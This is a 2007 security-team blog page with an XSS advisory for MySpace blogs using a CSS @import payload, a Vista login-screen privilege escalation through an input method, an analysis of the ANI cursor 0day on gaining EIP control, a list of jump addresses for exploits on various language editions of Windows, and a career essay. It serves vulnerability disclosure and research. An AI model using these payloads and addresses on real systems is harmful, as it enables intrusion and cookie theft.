Skip navigation.

幻影旅团

Ph4nt0m Security Team

[Advisory]myspace blog xss vulnerability

by luoluo (luoluonet_at_hotmail.com||luoluonet_at_126.com)
http://www.ph4nt0m.org
2007-3-24

- description

There's a xss vulnerability in customize page of myspace blog.
User can submit html and css codes in this page, script is filtered, but css keyword
"@import" isn't filtered. So we can inject script by import a css file remotely.

- poc

Head HTML textarea:


<div id="test">aaa</div>

Custom Style Sheet: 

@import url(http://www.yoursite.com/test.css);

test.css:

#test {width: expression(alert(document.cookie));}



- solution

Filter the css keyword "@import", but the xss blacklist will never rich the end :)

[Tips]信息安全的职业生涯

Author: ay4z3ro@ph4nt0m
Date: 2007-04-06


继《信息安全从业参考》,虽然只是我大脑里的残羹冷炙,不过我觉得没意思的东西或许对于别人来说有启发,为了避免某些人猜测我的作为,再补充一句,这些东西对我本人来说是毫无意义的。

假设你是一个刚毕业的学生,无非有两种方式,top-down和down-top的方式,但无论如何,此时你都不可能站在一个很高的视角上,因为你缺乏知识和经验。

down-top从安全公司做技术开始,由网络安全逐渐向信息安全过渡,top-down从四大或咨询公司开始,一开始就走咨询的模式。但我想大多数都是从做技术开始的。

假设把职业技能分级的话,我认为大致可以分为几类:

战略 - 管理 - 技术(技术管理)


技术的东西其实很容易学,操作系统、网络、数据库等无非就是依葫芦画瓢,学生时代花点力气自学即使不敢用精通(如果你的水平超过在职从业人员的平均水平,你就可以用精通,水平的高低完全不在于年龄的大小,也不在于从业时间的长短),熟悉还是可以的吧,计算机平台以外的信息技术可以到接触信息安全的时候再学业无所谓,毕竟信息安全的大头还是计算机网络通讯。如果你把这些想的很难,那你学起来一定很“艰辛”,如果你不把这些当成是什么,那么学起来自然很轻松。很多在外行人看来是大牛的角色,如果客观的用“知识容量”来衡量的话,就不会盲目崇拜了。

我个人认为CISSP的内容其实还不属于管理,更多的属于技术管理或技术的范畴。

如果进度比较快的话,技术基础学生时代即可完成,工作后主要是接触一些企业运营系统,了解各个行业中IT系统如何支撑业务运营,了解企业中的组织结构和角色、职能。

当试图向信息安全管理过渡的时候,首先必须切换自己的视角,不要时时处处都抱着技术的视角去看待并解决问题。那些国际安全标准和IT治理的最佳实践学起来一点都不难,难在如果你不懂企业管理、不了解企业运营、不了解行业的IT系统特性而硬要生搬硬套做咨询的话,就会发现一个知识大空洞。

很多人的职业生涯都“死”在视角切换不过去,不能站在更高的角度看问题。当然喜欢做技术倒也无可厚非。

从普通的技术人员向顾问过渡之后,即将面临职业生涯的第一个瓶颈,第一种选择是去甲方当CSO。

管理体系成熟的大公司可能会有以下职位:
首席风险官,CRO
首席安全官,CSO/CISO
首席保密官,CPO
内部审计总监

CRO,风险管理总监实际上主要是管理财务风险,IT风险只是其次,所以技术出身的人基本不可能胜任这个职位。
CSO,信息安全总监,出现频率最高,最有可能的职位。
另一方面,在国内单独设置风险/安全管理职位的企业并不多,一般是境外上市公司为了符合国外法规的治理合规性需求,或者是规模较大,对风险和信息控制比较敏感的企业。

如果你在企业组织架构中的位置远离最佳实践的治理水平,手脚施展不开,做不了事情,那就请联系猎头跳槽吧。

CSO不仅要精通信息安全技术,更要了解管理和商业,虽然总也有人试图对我表达一个精通技术的安全管理者是多么称职,但事实上,技术不是第一位的,包括如何借助国际标准建立ISMS的方法论等都是相对简单的事情,对CSO来说在组织中成功开展工作最重要的能力是EQ

一种职业发展是行业过渡,比如去甲方做CSO可以把自己换到任何一个行业,而另一种职业发展则是专业过渡,比如由纯粹的安全管理变成IT治理、风险管理,甚至变成财务风险管理,完全转变自己工作的性质内容和性质。

任何一个行业,任何一项职业发展都会有上限。一种“模式”必然伴随了一种“结果”。如果你选择了走某条道路,那么其结果也是八九不离十。大多数人工作多年后抱怨失去成长空间,其实就是没有规划,视野狭隘所致。实际上抱怨大可不必,因为这种阶段性的结果是完全可以提前预知的,每个人都必须为自己的选择承担结果。在你选择走这条路之前你就应该知道这条路通向何方!

虽然全球信息化趋势不可阻挡,这也造就了很多IT企业并向社会提供了大量的IT就业机会。但我并不看好那些狭义的IT职位。虽然常话说条条大路通罗马,但实际上不同的行业随着其资本积累速度和需求容量的不同,潜在的暗示着不同的行业仍有高低贵贱之分,就像CSO永远无法与CFO相提并论一样。如果你觉得行业的太容易走到“头”,那么尝试切换专业是必要的。对信息安全从业者来说比较明显的出路是找一家“面子”很大的咨询公司,自己尝试读MBA+自学补全财务,金融方面的知识,由IT风险管理转向真正的企业管理咨询或财务咨询,以后的出路才可能宽一些。这种模式可以再生出一棵很庞大的职业发展树,不过就此打住。

那些专注于技术本身的从业者,出路都不会很大。创业虽然也有蓝海,但是蓝海的SIZE对于这个行业来说本质上都很小,红海更是已经被争夺的一塌糊涂,并且你的成长速度将决定是否能在仅存的蓝海中活下来。

到甲方的话,CSO就是尽头吗?也不尽然,CSO可以继续变成CIO,关键在于自己的能力积累和角色转变。如果CIO成为推动利润大幅增长的的变革者,潜在的承担CGO(G:Growth),那么成为COO甚至CEO都是可能的,如果不能成为变革者,或者CIO只承担有限责任地位不高,那么CIO的职业生涯将到此为止。


自己的成长和环境选择是内因,职业发展还依赖于另一个外因:你所拥有的社会资源以及你整合资源的能力。学无止尽,时刻充电提高自己的能力和视野都是必要的,你所学到的知识不会因为公司不重视而贬值,社会需求将决定你的价值。


对时间的利用犹如投资,必须考虑:机会成本,投资组合,收益回报和风险。你今天走了这条职业发展的路,就没有时间走另外一条。你是在走慢速通道还是高速公路,还是坐飞机?假如道路A失败,你将如何延续发展等……


本文举了一些例子,实际上暗示了任何行业、任何职业都有职业再造,二次发力的可能。战略性的职业规划,有计划的迁移自己的知识和能力的重心,超越职业禁锢,不墨守陈规,做自己感兴趣并且有挑战的事情。

路不是越走越宽就是越走越窄,很多人觉得没有回头路就是因为只走不想,或者是几年前为了捡眼前的芝麻而丢了西瓜。大多数人蜂拥而去的方向往往是空间狭窄的,聪明的人从来不随大流,站在十字路口应该静下来想一想,我到底要以多少速度走哪条路?

本文的目的不在于向你穷尽职业发展的所有的轨迹,你至少应该明白那些“常规模式”只是目光短浅者自己给自己下套而已。不受传统观念的束缚,你将看到更广阔的空间,不过话不能道尽,剩下的留给读者自己想吧。

[News]Google拼音输入法漏洞

by axis
2007-04-06
www.ph4nt0m.org

Google的拼音输入法出现了一个漏洞,该漏洞影响Vista。
该漏洞和当年的win2000上的输入法漏洞如出一辙。
在登陆界面通过热键切换出google 输入法,然后选择帮助--》跳转到url
然后就可以以system权限执行命令了。

建议vista用户暂时不要使用google拼音输入法.

[Tips]关于ani 0day的简单分析

by axis
2007-03-28

本来没精力跟这个漏洞了,但是今天听swan在irc里说网上的exp利用方式不够好,只覆盖了2个字节,于是下午利用了一点空闲时间跟了一下。

在我的xp sp2 cn上,全补丁,漏洞发生在以下地方

77D53A5A    8BFF            MOV EDI,EDI
77D53A5C    55              PUSH EBP
77D53A5D    8BEC            MOV EBP,ESP
77D53A5F    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
77D53A62    8B55 10         MOV EDX,DWORD PTR SS:[EBP+10]                     ; 可以控制的长度
77D53A65    56              PUSH ESI
77D53A66    8B70 04         MOV ESI,DWORD PTR DS:[EAX+4]
77D53A69    8D0C16          LEA ECX,DWORD PTR DS:[ESI+EDX]
77D53A6C    3BCE            CMP ECX,ESI
77D53A6E    72 28           JB SHORT USER32.77D53A98
77D53A70    3BCA            CMP ECX,EDX
77D53A72    72 24           JB SHORT USER32.77D53A98
77D53A74    3B48 08         CMP ECX,DWORD PTR DS:[EAX+8]
77D53A77    77 1F           JA SHORT USER32.77D53A98
77D53A79    53              PUSH EBX
77D53A7A    57              PUSH EDI
77D53A7B    8B7D 0C         MOV EDI,DWORD PTR SS:[EBP+C]                      ; 目标buf [ebp+3c]
77D53A7E    8BCA            MOV ECX,EDX                                       ; 控制长度
77D53A80    8BD9            MOV EBX,ECX
77D53A82    C1E9 02         SHR ECX,2
77D53A85    F3:A5           REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]    ; 覆盖






拷贝发生在user32.dll中,注意这里
77D53A7B    8B7D 0C         MOV EDI,DWORD PTR SS:[EBP+C]                      ; 目标buf [ebp+3c]
77D53A7E    8BCA            MOV ECX,EDX                                       ; 控制长度
77D53A80    8BD9            MOV EBX,ECX
77D53A82    C1E9 02         SHR ECX,2
77D53A85    F3:A5           REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]    ; 覆盖


edx控制我们拷贝的长度.
edx由ani文件的0x54偏移处传入,但是由于后面有一些判断,所以要触发这个拷贝,edx不能太大。

在我的xp sp2 cn all hotfix上,edx = 0x50 正好覆盖了上层函数的ebp


由于是从[ebp+3c]开始覆盖的,所以无法在当前函数返回时控制,我们可以选择覆盖上层函数的返回地址。


由于公开的exp中只覆盖了user32.dll中的两个字节地址,这个不是很通用,所以swan会有前面那段话。


事实上,可以覆盖掉整个ebp,ebp+4,控制eip。

从codepage去找个中文的通用地址是很简单的。


而且这个dll没有/gs保护,所以利用起来很简单。


不同的平台,比如2000/2003上需要覆盖的字节可能不同。


但是这个漏洞只覆盖[ebp+4]处的2个字节,还是在user32.dll里,一般不会崩溃


但是如果把整个eip都覆盖了,如果平台差异引起了覆盖字节数不同,就会造成ie崩溃


想必这就是为什么公开的exp只覆盖2个字节,插入2个图片的原因(那两个图片的长度控制值不同,覆盖的2个字节也不同)



要查杀这个也很简单,各大AV只需要判断这个传入edx的长度是否超过了限制就可以了。




[News]Microsoft Windows Cursor and Icon Format Remote Code Execution (0day)

就是最新那个ie 0day了,实际上利用方法不止是ie,用winhex等打开都会中,问题似乎是出在

user32.dll 的 loadcursorxxxxxxx ,函数返回时crash。

用资源管理器打开那个目录也可以触发,和以前的ms06-001 wmf漏洞有些相象,危害非常大。

Frsirt描述如下:

A vulnerability has been identified in Microsoft Windows, which could be exploited by remote attackers to take complete control of an affected system. This issue is due to a memory corruption error when rendering malformed cursors, animated cursors or icons, which could be exploited by remote attackers to execute arbitrary commands by tricking a user into visiting a malicious web page or viewing an email message containing a specially crafted ANI file.

Note : This zero-day vulnerability is currently being exploited in the wild.



Frsirt还把这个当钱卖,但是已经在网上有人公开生成器了。

http://www.hackeroo.com/read.php?tid-3014.html


另外,这个漏洞是影响VISTA的!

Affected Products

Microsoft Windows 2000 Service Pack 4
Microsoft Windows XP Service Pack 2
Microsoft Windows XP 64-Bit Edition ersion 2003 (Itanium)
Microsoft Windows XP Professional x64 Edition
Microsoft Windows Server 2003
Microsoft Windows Server 2003 (Itanium)
Microsoft Windows Server 2003 Service Pack 1
Microsoft Windows Server 2003 SP1 (Itanium)
Microsoft Windows Server 2003 x64 Edition
Microsoft Windows Vista

Microsoft Internet Explorer 6
Microsoft Internet Explorer 7

[Tips]一些opcodes

by axis
2007-03-28

近日在写exploit的时候需要用到一些其他语言的call ebx的跳转地址,但是metasploit的opcode DB没有包括繁体中文、日文、韩文机器的跳转地址,所以费了点时间收集了下,在这里要感谢傲少提供的机器给我去找地址。现在贴到这里,方便大家。


简体中文windows的通用跳转地址:(2k/XP/2k3)
0x7ffa45f3 jmp ecx \xff\xe1
0x7ffa4967 jmp ebp \xff\xe5
0x7ffa4a1b jmp ebx \xff\xe3
0x7ffa6773 push ebx,retn \x53\xc3 (0x7ffa6772 是 pop edx)
0x7ffd1769 -- 0x7ffd1779 jmp eax \xff\xe0
0x7ffc01b0 pop esi,retn \x5e\xc3
0x7ffa54cf 0x7ffaf780 jmp edx \xff\xe2

7FFA1571 58 POP EAX
7FFA1572 BF 58C058C2 MOV EDI,C258C058
7FFA1577 58 POP EAX
7FFA1578 C3 RETN



韩文版windows 2003 sp1上的 KR
kr 2k3 sp1
71ab1346 call eax ws2_32.dll
71ab4340 jmp eax ws2_32.dll
71ac273f call ecx ws2_32.dll
71ab6e3b jmp ecx ws2_32.dll
71ab5fb0 call ebx ws2_32.dll
71ab596b call esi ws2_32.dll
71ab5503 call edi ws2_32.dll
71ab5f62 pop edi, pop esi retn ws2_32.dll

可能是韩文版windows通用地址的(需确认) KR
7ffa6d56 call eax
7ffa78aa call edx
7ffa7306 call ecx
7ffa901a call ebx
7ffa4a1b jmp ebx
7ffa82a4 call esp
7ffa8b3c call esi
7ffa49d7 jmp esi




jp 2003 sp1 r2
日文 windows 2003 r2 SP1

7c999c86 call ebx ntdll.dll
7c9a96aa call ebx ntdll.dll
7c9b2c62 call ebx ntdll.dll
7c9834a3 jmp ebx ntdll.dll

7c9d1d1e jmp esp ntdll.dll
7c9585fb call eax ntdll.dll
7c99c6cb jmp eax ntdll.dll

7c95139e pop esi,pop ebp,retn ntdll.dll

7c951bc2 call ecx ntdll.dll
7c9c27bb call edx ntdll.dll
7c9523d7 call edi ntdll.dll
7c96a3c3 call esi ntdll.dll

71aa596b call edi ws2_32.dll
71aa5503 call edi ws2_32.dll
71aa5fb0 call ebx ws2_32.dll
71aa1346 call eax ws2_32.dll
71aa4340 jmp eax ws2_32.dll
71aa596b call esi ws2_32.dll
71aa5f62 pop edi,pop esi,retn ws2_32.dll



win tw 繁体中文windows通用地址(至少2k3 sp1)
7ffa2186 jmp ebx
7ffd1987 call eax (2k3 tw)
7ffaf9a8 jmp eax
7ffa46ad jmp ecx
7ffafffa jmp edx
7ffa24ce jmp esp
7ffa2b64 jmp esi
7ffa2eac jmp edi

71b75fb0 call ebx ws2_32.dll


欢迎大家补充
November 2009
S M T W T F S
October 2009December 2009
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30